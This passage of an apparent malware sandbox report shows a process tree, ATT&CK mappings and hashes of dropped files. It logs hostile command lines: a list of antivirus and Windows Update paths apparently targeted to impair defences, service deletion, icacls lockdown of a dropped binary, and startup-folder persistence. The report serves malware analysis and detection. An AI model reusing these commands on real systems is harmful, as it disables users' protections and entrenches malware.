Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                      8⤵
                                                                                                        PID:5128
                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                        "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
                                                                                                        8⤵
                                                                                                          PID:6104
                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                            sc stop IObitUnlocker
                                                                                                            9⤵
                                                                                                            • Launches sc.exe
                                                                                                            PID:5752
                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                            sc delete IObitUnlocker
                                                                                                            9⤵
                                                                                                            • Launches sc.exe
                                                                                                            PID:3984
                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "1728"
                                                                                                          8⤵
                                                                                                            PID:5172
                                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                                              taskkill /f /pid "1728"
                                                                                                              9⤵
                                                                                                              • Kills process with taskkill
                                                                                                              PID:5464
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          reg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f
                                                                                                          7⤵
                                                                                                            PID:5836
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\2f5832.exe
                                                                                                    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\2f5832.exe
                                                                                                    3⤵
                                                                                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                    • Checks BIOS information in registry
                                                                                                    • Executes dropped EXE
                                                                                                    • Identifies Wine through registry keys
                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    PID:2840
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\"
                                                                                                  2⤵
                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                  PID:3256
                                                                                                  • C:\Windows\system32\rundll32.exe
                                                                                                    rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\"
                                                                                                    3⤵
                                                                                                      PID:5068
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OptiDrive.url" & echo URL="C:\Users\Admin\AppData\Local\DriveOptimize Technologies\OptiDrive.lnk" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OptiDrive.url" & exit
                                                                                                    2⤵
                                                                                                    • Drops startup file
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    PID:3516
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c C:\Program Files (x86)\DPI Manager\dpimgr.exe
                                                                                                    2⤵
                                                                                                      PID:4964
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\Microsoft\MediaPlayer\Cache\sysmonitor.exe
                                                                                                      2⤵
                                                                                                        PID:2856
                                                                                                        • C:\Users\Admin\AppData\Roaming\Microsoft\MediaPlayer\Cache\sysmonitor.exe
                                                                                                          C:\Users\Admin\AppData\Roaming\Microsoft\MediaPlayer\Cache\sysmonitor.exe
                                                                                                          3⤵
                                                                                                            PID:4176
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1Q34Y6.exe
                                                                                                        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1Q34Y6.exe
                                                                                                        1⤵
                                                                                                        • Executes dropped EXE
                                                                                                        • Drops file in Windows directory
                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                        PID:3272
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          "cmd.exe" /c icacls "C:\Windows\bbbKrSLB.exe" /setowner "SYSTEM"
                                                                                                          2⤵
                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                          PID:3316
                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                            icacls "C:\Windows\bbbKrSLB.exe" /setowner "SYSTEM"
                                                                                                            3⤵
                                                                                                            • Modifies file permissions
                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:4532
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          "cmd.exe" /c icacls "C:\Windows\bbbKrSLB.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
                                                                                                          2⤵
                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                          PID:1544
                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                            icacls "C:\Windows\bbbKrSLB.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
                                                                                                            3⤵
                                                                                                            • Modifies file permissions
                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                            PID:4328
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          "cmd.exe" /c icacls "C:\Windows\bbbKrSLB.exe" /remove:d Everyone Administrators
                                                                                                          2⤵
                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                          PID:3164
                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                            icacls "C:\Windows\bbbKrSLB.exe" /remove:d Everyone Administrators
                                                                                                            3⤵
                                                                                                            • Modifies file permissions
                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                            PID:1584
                                                                                                        • C:\Windows\bbbKrSLB.exe
                                                                                                          "C:\Windows\bbbKrSLB.exe"
                                                                                                          2⤵
                                                                                                          • Executes dropped EXE
                                                                                                          PID:3968
                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3968 -s 536
                                                                                                            3⤵
                                                                                                            • Program crash
                                                                                                            PID:2652
                                                                                                        • C:\Windows\bbbKrSLB.exe
                                                                                                          "C:\Windows\bbbKrSLB.exe"
                                                                                                          2⤵
                                                                                                          • Executes dropped EXE
                                                                                                          PID:2244
                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2244 -s 508
                                                                                                            3⤵
                                                                                                            • Program crash
                                                                                                            PID:3252
                                                                                                        • C:\Windows\bbbKrSLB.exe
                                                                                                          "C:\Windows\bbbKrSLB.exe"
                                                                                                          2⤵
                                                                                                          • Executes dropped EXE
                                                                                                          PID:4784
                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4784 -s 508
                                                                                                            3⤵
                                                                                                            • Program crash
                                                                                                            PID:1692
                                                                                                        • C:\Windows\bbbKrSLB.exe
                                                                                                          "C:\Windows\bbbKrSLB.exe"
                                                                                                          2⤵
                                                                                                            PID:1468
                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 1468 -s 508
                                                                                                              3⤵
                                                                                                              • Program crash
                                                                                                              PID:4640
                                                                                                          • C:\Windows\bbbKrSLB.exe
                                                                                                            "C:\Windows\bbbKrSLB.exe"
                                                                                                            2⤵
                                                                                                              PID:3636
                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3636 -s 508
                                                                                                                3⤵
                                                                                                                • Program crash
                                                                                                                PID:5416
                                                                                                            • C:\Windows\bbbKrSLB.exe
                                                                                                              "C:\Windows\bbbKrSLB.exe"
                                                                                                              2⤵
                                                                                                                PID:4944
                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4944 -s 508
                                                                                                                  3⤵
                                                                                                                  • Program crash
                                                                                                                  PID:5136
                                                                                                              • C:\Windows\bbbKrSLB.exe
                                                                                                                "C:\Windows\bbbKrSLB.exe"
                                                                                                                2⤵
                                                                                                                  PID:4424
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4424 -s 512
                                                                                                                    3⤵
                                                                                                                    • Program crash
                                                                                                                    PID:6116
                                                                                                                • C:\Windows\bbbKrSLB.exe
                                                                                                                  "C:\Windows\bbbKrSLB.exe"
                                                                                                                  2⤵
                                                                                                                    PID:5748
                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 5748 -s 508
                                                                                                                      3⤵
                                                                                                                      • Program crash
                                                                                                                      PID:1800
                                                                                                                  • C:\Windows\bbbKrSLB.exe
                                                                                                                    "C:\Windows\bbbKrSLB.exe"
                                                                                                                    2⤵
                                                                                                                      PID:5328
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 5328 -s 188
                                                                                                                        3⤵
                                                                                                                        • Program crash
                                                                                                                        PID:5540
                                                                                                                    • C:\Windows\bbbKrSLB.exe
                                                                                                                      "C:\Windows\bbbKrSLB.exe"
                                                                                                                      2⤵
                                                                                                                        PID:2524
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 2524 -s 508
                                                                                                                          3⤵
                                                                                                                          • Program crash
                                                                                                                          PID:2832
                                                                                                                      • C:\Windows\bbbKrSLB.exe
                                                                                                                        "C:\Windows\bbbKrSLB.exe"
                                                                                                                        2⤵
                                                                                                                          PID:5888
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3968 -ip 3968
                                                                                                                        1⤵
                                                                                                                          PID:1280
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 2244 -ip 2244
                                                                                                                          1⤵
                                                                                                                            PID:3936
                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 4784 -ip 4784
                                                                                                                            1⤵
                                                                                                                              PID:1932
                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 1468 -ip 1468
                                                                                                                              1⤵
                                                                                                                                PID:4704
                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 3636 -ip 3636
                                                                                                                                1⤵
                                                                                                                                  PID:3496
                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 4944 -ip 4944
                                                                                                                                  1⤵
                                                                                                                                    PID:4964
                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 4424 -ip 4424
                                                                                                                                    1⤵
                                                                                                                                      PID:6128
                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 5748 -ip 5748
                                                                                                                                      1⤵
                                                                                                                                        PID:4528
                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 5328 -ip 5328
                                                                                                                                        1⤵
                                                                                                                                          PID:2276
                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 2524 -ip 2524
                                                                                                                                          1⤵
                                                                                                                                            PID:4600
                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 5888 -ip 5888
                                                                                                                                            1⤵
                                                                                                                                              PID:5324

                                                                                                                                            Network

                                                                                                                                                  MITRE ATT&CK Enterprise v16

                                                                                                                                                  Reconnaissance

                                                                                                                                                  Resource Development

                                                                                                                                                  Initial Access

                                                                                                                                                  Execution

                                                                                                                                                  Command and Scripting Interpreter

                                                                                                                                                  1
                                                                                                                                                  T1059

                                                                                                                                                  PowerShell

                                                                                                                                                  1
                                                                                                                                                  T1059.001

                                                                                                                                                  Scheduled Task/Job

                                                                                                                                                  1
                                                                                                                                                  T1053

                                                                                                                                                  Scheduled Task

                                                                                                                                                  1
                                                                                                                                                  T1053.005

                                                                                                                                                  System Services

                                                                                                                                                  2
                                                                                                                                                  T1569

                                                                                                                                                  Service Execution

                                                                                                                                                  2
                                                                                                                                                  T1569.002

                                                                                                                                                  Persistence

                                                                                                                                                  Boot or Logon Autostart Execution

                                                                                                                                                  1
                                                                                                                                                  T1547

                                                                                                                                                  Registry Run Keys / Startup Folder

                                                                                                                                                  1
                                                                                                                                                  T1547.001

                                                                                                                                                  Create or Modify System Process

                                                                                                                                                  2
                                                                                                                                                  T1543

                                                                                                                                                  Windows Service

                                                                                                                                                  2
                                                                                                                                                  T1543.003

                                                                                                                                                  Scheduled Task/Job

                                                                                                                                                  1
                                                                                                                                                  T1053

                                                                                                                                                  Scheduled Task

                                                                                                                                                  1
                                                                                                                                                  T1053.005

                                                                                                                                                  Privilege Escalation

                                                                                                                                                  Boot or Logon Autostart Execution

                                                                                                                                                  1
                                                                                                                                                  T1547

                                                                                                                                                  Registry Run Keys / Startup Folder

                                                                                                                                                  1
                                                                                                                                                  T1547.001

                                                                                                                                                  Create or Modify System Process

                                                                                                                                                  2
                                                                                                                                                  T1543

                                                                                                                                                  Windows Service

                                                                                                                                                  2
                                                                                                                                                  T1543.003

                                                                                                                                                  Scheduled Task/Job

                                                                                                                                                  1
                                                                                                                                                  T1053

                                                                                                                                                  Scheduled Task

                                                                                                                                                  1
                                                                                                                                                  T1053.005

                                                                                                                                                  Defense Evasion

                                                                                                                                                  File and Directory Permissions Modification

                                                                                                                                                  1
                                                                                                                                                  T1222

                                                                                                                                                  Hide Artifacts

                                                                                                                                                  1
                                                                                                                                                  T1564

                                                                                                                                                  Hidden Files and Directories

                                                                                                                                                  1
                                                                                                                                                  T1564.001

                                                                                                                                                  Impair Defenses

                                                                                                                                                  1
                                                                                                                                                  T1562

                                                                                                                                                  Modify Registry

                                                                                                                                                  2
                                                                                                                                                  T1112

                                                                                                                                                  Virtualization/Sandbox Evasion

                                                                                                                                                  2
                                                                                                                                                  T1497

                                                                                                                                                  Credential Access

                                                                                                                                                  Discovery

                                                                                                                                                  Process Discovery

                                                                                                                                                  1
                                                                                                                                                  T1057

                                                                                                                                                  Query Registry

                                                                                                                                                  4
                                                                                                                                                  T1012

                                                                                                                                                  System Information Discovery

                                                                                                                                                  3
                                                                                                                                                  T1082

                                                                                                                                                  System Location Discovery

                                                                                                                                                  1
                                                                                                                                                  T1614

                                                                                                                                                  System Language Discovery

                                                                                                                                                  1
                                                                                                                                                  T1614.001

                                                                                                                                                  Virtualization/Sandbox Evasion

                                                                                                                                                  2
                                                                                                                                                  T1497

                                                                                                                                                  Lateral Movement

                                                                                                                                                  Collection

                                                                                                                                                  Command and Control

                                                                                                                                                  Exfiltration

                                                                                                                                                  Impact

                                                                                                                                                  Service Stop

                                                                                                                                                  2
                                                                                                                                                  T1489

                                                                                                                                                  Replay Monitor

                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                  Downloads

                                                                                                                                                  jsHOZtE.exe
                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\10638940101\jsHOZtE.exe
                                                                                                                                                  • Size 1.1MB
                                                                                                                                                  • SHA256 751ea8b18e6141b7fb7c0072c60d485491112bde9fc2acc1f15f58a78777a464
                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                  Submit Download

                                                                                                                                                  50887f2e70.exe
                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\10643820101\50887f2e70.exe
                                                                                                                                                  • Size 3.6MB
                                                                                                                                                  • SHA256 bc93847b831f183885826e318f92069376dbb668bf18ee3ea5766e1840088726
                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                  Submit Download

                                                                                                                                                  VdgCdQx.exe
                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\10643840101\VdgCdQx.exe
                                                                                                                                                  • Size 202KB
                                                                                                                                                  • SHA256 ee5c5ba42032ee6a64f4fe4e3bf490c96275a6e4f7f53299286357f5c0adbed9
                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                  Submit Download

                                                                                                                                                  v3434.exe
                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\10643850101\v3434.exe
                                                                                                                                                  • Size 3.6MB
                                                                                                                                                  • SHA256 abc96e29a342d5766dca5cb791d0ba938fb96db82bd6d8587bb77722d5cf426f
                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                  Submit Download

                                                                                                                                                  sQNHMrP.exe
                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\10643860101\sQNHMrP.exe
                                                                                                                                                  • Size 1.2MB
                                                                                                                                                  • SHA256 2bbd32eb425de3a4ee1630ffdc9cf351dc7b841735a14ab0c284863fbedd5a4a
                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                  Submit Download

                                                                                                                                                  PsCMIRi.exe
                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\10643870101\PsCMIRi.exe
                                                                                                                                                  • Size 871KB
                                                                                                                                                  • SHA256 155f53209e7e4aacf1efb3c929a2aaa659f98f9dd3ff703d0eed9ff7379a7da3
                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                  Submit Download

                                                                                                                                                  0srAxLR.exe
                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\10643880101\0srAxLR.exe
                                                                                                                                                  • Size 9.5MB
                                                                                                                                                  • SHA256 4ff9f470c13a5061dfc526fe951629cd790430713938a7f7ae582f478982d2df
                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                  Submit Download

                                                                                                                                                  xO50QoO.exe
                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\10643890101\xO50QoO.exe
                                                                                                                                                  • Size 1.7MB
                                                                                                                                                  • SHA256 837a5ae11a55ee51f20f6e1377a714730fe4df1914d22529064a70008393dca8
                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                  Submit Download

                                                                                                                                                  Hughes.pif
                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\195493\Hughes.pif
                                                                                                                                                  • Size 957KB
                                                                                                                                                  • SHA256 3ec9740bedc683021cc3e94e4a33b3a9d3d6f9b9e96b1f04cc6534f551dd58c1
                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                  Submit Download

                                                                                                                                                  i
                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\195493\i
                                                                                                                                                  • Size 517KB
                                                                                                                                                  • SHA256 c0facaad561a43eeca035277e538d4a4fe41d2d0bc975c039e861b936816e3fb
                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                  Submit Download

                                                                                                                                                  Attend
                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\Attend
                                                                                                                                                  • Size 135KB
                                                                                                                                                  • SHA256 c353793ac0d85bc4a84c57190e3121c50c786aaef057a4e49cea8f93ff2b32ff
                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                  Submit Download

                                                                                                                                                  Blast
                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\Blast
                                                                                                                                                  • Size 138KB
                                                                                                                                                  • SHA256 b38faa797576aaea51aa930d4e8c5ce5d76b798f2f5fc467710cf3b3bc92774c
                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                  Submit Download

                                                                                                                                                  Concerts
                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\Concerts
                                                                                                                                                  • Size 71KB
                                                                                                                                                  • SHA256 f35eda91f0c37e359a11348357027d4e4dffcc756e8089dcade7158b5d8c9069
                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                  Submit Download

                                                                                                                                                  Consumption.mpg
                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\Consumption.mpg
                                                                                                                                                  • Size 13KB
                                                                                                                                                  • SHA256 f080368d2b2593493e2a05e20d8375c617d4ef324d6ca4bc28b8c4bf125ac4a1
                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                  Submit Download

                                                                                                                                                  Evaluate.mpg
                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\Evaluate.mpg
                                                                                                                                                  • Size 36KB
                                                                                                                                                  • SHA256 e423061e5f547429c9c4c48a3f2484720eaaf59bc2bde33d0c6bb961a85898d4
                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                  Submit Download

                                                                                                                                                  Exams
                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\Exams
                                                                                                                                                  • Size 94KB
                                                                                                                                                  • SHA256 1ed7c63e221257c4e99af323c6923ca96b901219afc3d8dabb23d06bfa866a8e
                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                  Submit Download

                                                                                                                                                  Helen.mpg
                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\Helen.mpg
                                                                                                                                                  • Size 493KB
                                                                                                                                                  • SHA256 f7d141f2a79e30cb5557b415b42e408ca21bb14c67751baa22554e95b76349da
                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                  Submit Download

                                                                                                                                                  Hold
                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\Hold
                                                                                                                                                  • Size 11KB
                                                                                                                                                  • SHA256 6a8f9a9349a1c0d71a0421f36f3022fffce005e4ec5ac239e07832a74c1322ed
                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                  Submit Download

                                                                                                                                                  IObitUnlocker.dll
                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.dll
                                                                                                                                                  • Size 79KB
                                                                                                                                                  • SHA256 37d2a1626dc205d60f0bec8746ab256569267e4ef2f8f84dff4d9d792aa3af30
                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                  Submit Download

                                                                                                                                                  IObitUnlocker.exe
                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                                                                  • Size 2.6MB
                                                                                                                                                  • SHA256 eaa9dc1c9dc8620549fee54d81399488292349d2c8767b58b7d0396564fb43e7
                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                  Submit Download

                                                                                                                                                  IObitUnlocker.log
                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                                                                                  • Size 51KB
                                                                                                                                                  • SHA256 4f18e3d72f65db710ccf41eda425fde53cf4fbbe721338e84445825d49640872
                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                  Submit Download

                                                                                                                                                  IObitUnlocker.log
                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.log
                                                                                                                                                  • Size 103KB
                                                                                                                                                  • SHA256 b0abb0f716403658d867b2980c7951f4d2b85ba046a33a2255a38bd5ba2815c6
                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                  Submit Download

                                                                                                                                                  1Q34Y6.exe
                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1Q34Y6.exe
                                                                                                                                                  • Size 2.5MB
                                                                                                                                                  • SHA256 d3344eb4ebc26aae203c3c8672aa3be7fff57f6d459b30e6cfcf48b83fc1fd0d
                                                                                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                  Submit Download

                                                                                                                                                  2f5832.exe
                                                                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\2f5832.exe
                                                                                                                                                  • Size 1.9MB
                                                                                                                                                  • SHA256 bbaed17b1d4fda31568fb766c75b82ed6b0cd175b267ff9d51e52872e226bdd7
